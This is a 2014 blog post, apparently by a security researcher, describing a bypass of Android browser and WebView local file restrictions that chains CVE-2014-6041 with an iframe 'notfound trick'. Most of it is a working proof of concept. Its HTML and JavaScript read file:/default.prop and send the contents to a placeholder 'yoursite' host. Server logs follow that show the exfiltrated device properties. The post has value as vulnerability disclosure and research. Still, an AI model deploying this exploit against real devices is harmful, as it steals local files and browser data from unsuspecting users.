2014年9月21日日曜日

Android WebView Local File Access Restriction Bypass (CVE-2014-6041 and notfound trick)

Usually, web sites cannot open and access client's local file. However, 'file:' can be available by using 'notfound trick' and an attacker can get local file from remote web site. :-)

CVE-2014-6041
CVE-2014-6041 was disclosed by Rafay Baloch. This enables attackers to bypass Android browser and WebView SOP. Very interesting!
<iframe name="test" src="http://www.rhainfosec.com"></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:alert(document.domain)','test')" >
Since Android browser and WebView are strictly prohibit local file access from web sites on the Internet. For example, when you try to open 'file:/default.prop' by iframe on your web site, you can see just a white page. '\u0000file:xxx' also doesn't work.
But, by using notfound trick, you can open 'file:xxx' by iframe and CVE-2014-6041 enable us to access it's body.innerHTML.
Notfound trick
Notfound trick is quite easy. Just open 'http://notfound' by iframe:
<iframe src="http://notfound"></iframe>
Then, this iframe has escalated privilege. 

 

An attacker can open local files as Android browser. '/data/data/com.android.browser/*' is also readable like below:
There is no need to open target websites with iframe.

Android 2.X and 3.X are exploitable by only this notfound trick but I couldn't use it on Android 4.X. CVE-2014-6041 enables me to access body.innerHTML. And, probably, this trick is not known one.

Affected version
I tested this on my Android phone (4.0.4) and Android SDK emulator (4.1.2, 4.2.2). It works both of Android browser and WebView applications.
When I opened 'http://notfound/' with Android SDK emulator 4.4.2, I found the message 'E/browser ( 1067): Console: Not allowed to load local resource: file:///android_asset/webkit/android-weberror.png data:text/html,chromewebdata:12' at terminal log. It looks iframe failed to get escalated privilege. 

PoC
test.html:
<button onclick="iframe.src='http://notfound/'">Open http://notfound/</button><br>
<button onclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://yoursite/exploit/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2()  style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://www.example.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>
test.js:
var flag = 0;
function exploit2(){
  if(flag) {return}
  window.open('\u0000javascript:location.replace("http://yoursite/?file="+escape(document.body.innerHTML))','test2');
  flag = 1;
}
Server side logs:
XXX.XXX.XXX.XXX - - [21/Sep/2014:15:05:58 +0900] "GET /?file=%23%0A%23%20ADDITIONAL_DEFAULT_PROPERTIES%0A%23%0Aro.secure%3D0%0Aro.allow.mock.location%3D1%0Aro.debuggable%3D1%0Apersist.sys.usb.config%3Dadb%0A HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Android SDK built for x86 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30"
XXX.XXX.XXX.XXX - - [21/Sep/2014:15:20:54 +0900] "GET /?file=%23%0A%23%20ADDITIONAL_DEFAULT_PROPERTIES%0A%23%0Aro.secure%3D0%0Aro.allow.mock.location%3D1%0Aro.debuggable%3D1%0Apersist.sys.usb.config%3Dadb%0A HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; sdk Build/JB_MR1.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30"
It works!



0 件のコメント:

コメントを投稿